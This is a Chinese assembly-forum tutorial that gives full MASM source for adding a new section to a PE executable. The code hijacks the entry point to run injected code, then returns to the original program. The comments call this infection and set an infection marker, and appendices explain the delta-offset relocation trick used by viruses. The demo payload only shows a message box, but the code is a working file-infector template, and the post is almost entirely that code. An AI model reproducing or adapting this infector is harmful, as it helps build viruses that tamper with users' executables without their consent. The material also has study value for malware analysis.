主  题:为PE文件添加新节实例及说明
作  者:AwakeinAlone
所属论坛:ASM
 希望能对PE和ASM的出学者有所帮助,吾愿足矣!
.386
 .model flat,stdcall
 option casemap:none
 include \masm32\include\windows.inc
 include \masm32\include\kernel32.inc
 includelib \masm32\lib\kernel32.lib
 .data
 filename db "d:\t.exe",0                  ;为了简单,避免了不必要的文件选择对话框
hFile dd 0
 hMapping dd 0
 pMapping dd 0
 pe_header_off  dd 0                      ;存储文件头相对文件的偏移量
byte_write dd 0                                ;WriteFile时使用,没有实际用途,为了程序正确
PEGame segment
 start:
 push NULL
 push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
 push NULL
 push FILE_SHARE_READ+FILE_SHARE_WRITE
 push GENERIC_READ+GENERIC_WRITE
 push offset filename
 call CreateFile
 mov hFile, eax
 push 0
 push 0
 push 0
 push PAGE_READWRITE
 push NULL
 push hFile
 call CreateFileMapping
 mov hMapping, eax
 push 0
 push 0
 push 0
 push FILE_MAP_READ+FILE_MAP_WRITE
 push hMapping
 call MapViewOfFile
 mov pMapping,eax
 mov ebx, eax
 assume ebx :ptr IMAGE_DOS_HEADER
 mov eax,[ebx].e_lfanew
mov pe_header_off,eax
add ebx,[ebx].e_lfanew                                            ;此时ebx指向PE文件头
assume ebx:ptr IMAGE_NT_HEADERS
 .IF  [ebx].Signature!=IMAGE_NT_SIGNATURE    ;是PE文件吗?
jmp Exit
 .ENDIF
 .IF word ptr [ebx+1ah]==0842h                                ;是否已经感染  
jmp Exit
 .ENDIF
 Noinfect:                                                                    ;保存原入口
 mov eax,[ebx]. OptionalHeader.AddressOfEntryPoint
 mov old_in,eax
 mov eax, [ebx].OptionalHeader.ImageBase
 mov old_base,eax
   
;***************************************************************
 ;判断是否有足够空间存储新节
 ;28h=sizeof IMAGE_SECTION_HEADER ,18h=sizeof IMAGE_FILE_HEADER
;edi将指向新节
 ;***************************************************************
 movzx eax,[ebx].FileHeader.NumberOfSections
 mov ecx,28h
mul ecx
 add eax,pe_header_off
add eax,18h                        
movzx esi,[ebx].FileHeader.SizeOfOptionalHeader
 add eax,esi
mov edi,eax
add edi,pMapping              ;I forgot this first
add eax,28h
 .IF  eax>[ebx].OptionalHeader.SizeOfHeaders
 jmp  Exit
 .ENDIF
 ;*********************************************************************
;空间允许, ^0^,开始插入新节并填充各字段
 ;esi指向原文件最后一个节,利用它来填充新节某些字段
;*********************************************************************
 inc [ebx].FileHeader.NumberOfSections                            ;节数目+1
mov esi,edi
 sub esi,28h
 assume edi:ptr IMAGE_SECTION_HEADER
 assume esi:ptr IMAGE_SECTION_HEADER
 mov [edi].Name1,41h                                                            ;随便为新节命名,使之不等于0
push [ebx].OptionalHeader.SizeOfImage
 pop  [edi].VirtualAddress
mov eax,offset vend-offset vstart
mov [edi].Misc.VirtualSize,eax
mov ecx,[ebx].OptionalHeader.FileAlignment
div ecx
inc eax
 mul ecx
mov [edi].SizeOfRawData,eax
 mov eax,[esi].PointerToRawData
 add eax,[esi].SizeOfRawData
 mov [edi].PointerToRawData,eax
 mov [edi].Characteristics,0E0000020h  ;可读可写可执行
 ;*****************************************************************************************
 ;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
 ;*****************************************************************************************
mov eax,[edi].Misc.VirtualSize
 mov ecx,[ebx].OptionalHeader.SectionAlignment
 div ecx
 inc eax
 mul ecx
 add eax,[ebx].OptionalHeader.SizeOfImage
 mov [ebx].OptionalHeader.SizeOfImage,eax
 mov eax,[edi].VirtualAddress
 mov [ebx].OptionalHeader.AddressOfEntryPoint,eax
 mov word ptr [ebx+1ah],0842h  ;写入感染标志
 push FILE_END
 push 0
 push 0
 push hFile
 call SetFilePointer
 ;*************************************************************************************
;设置文件指针到结尾后,写入从vstart开始的代码,大小经过文件对齐
 ;**************************************************************************************
 push 0
 push offset byte_write
push [edi].SizeOfRawData
push offset vstart
 push hFile
 call WriteFile
 Exit:
 push pMapping
 call UnmapViewOfFile
 push hMapping
 call CloseHandle
 invoke ExitProcess,0
 ;***************************************************************
 ;从vstart->vend是将插入到d:\t.exe的代码
 ;功能是弹出一个对话框,然后返回原入口执行
 ;***************************************************************
 vstart:
 call nstart
 nstart:
 pop ebx
 sub ebx,offset nstart                                  ;见附录一的详细说明
mov MsgBoxAddr[ebx],77e175d5h        ;liner addr of MessageBoxA in User32.dll
push MB_OK
 mov eax,ebx
add eax,offset s
push eax
push eax
push 0
call MsgBoxAddr[ebx]
mov eax,old_base[ebx]
add eax,old_in[ebx]
push eax
ret
s db 'fid',0
MsgBoxAddr dd 0
old_base dd 0
old_in dd 0
vend:
PEGame ends
end start    
附录一:得到MessageBoxA的线形地址代码
#include "windows.h"
#include "iostream.h"
int main(int argc, char* argv[])
{
      HINSTANCE h;
      char dllname[] ="User32";
      h = GetModuleHandle(dllname);
      if(h == NULL)
      {
        h = LoadLibrary(dllname);
      }
      DWORD p=(DWORD)::GetProcAddress(h,"MessageBoxA");
      cout<<"Addr of MessageBoxA:  "<<hex<<p<<endl;
}
附录二(摘自peach的"麻雀空间"):
call nstart                此时栈顶是下一指令地址,即nstart在cs段中的偏移
 nstart:
 pop ebp                ebp = nstart处在cs段中的偏移
 sub ebp,offset nstart      ebp 不一定和 offset nstart相等
 之所以使用这样的指令,主要是为了在代码执行的时候进行内存的实际定位
 插入的代码在汇编的时候代码段和数据段是确定的,总是从某段址的偏移0开始
 但是,插入后别人的代码空间的时候,就不是从偏移0开始了
   
举个例子
 我写一个代码和数据共享的小段汇编如下如下
   
_text  segments
         assume cs:_text, ds:_text
 start:
         jmp    begin
         data1  db      0
         data2  db      0
 begin:
         mov    al, data1
         mov    bl, data2
         add    al, bl
         mov    ax, 4c00h
         int    20h
 _text  ends
         end    start
   
此代码段中,使用的cs和ds的值都保证了实际start处的偏移为0
 但是一旦被复制到其他的cs, ds段,一般不能保证start处偏移在cs或ds段中偏移为0
 这时候显然
mov  al, data1
 mov  bl, data2
 会出问题
 怎么办呢?
   
可以写成这样子
   
_text  segments
         assume cs:_text, ds:_text
 start:
         call    next
 next:
         pop    si                            此处si等于next处在当前cs段中的实际偏移
         sub    si, offset next        实际偏移减去汇编中的offset得到的
                                                   就是start处的的实际偏移
                                                   因为offset 操作符总是以0为基址的
                                                 offset start = 0
         data1  db      0
         data2  db      0
 begin:
         mov    al, data1[si]      这里寻址的时候使用的就 offset data1 + si了
         mov    bl, data2[si]
         add    al, bl
         mov    ax, 4c00h
         int    20h
 _text  ends
         end    start
 没啥特别的 ,仔细想一下就明白了 。        
                                                                                  --------《全文完》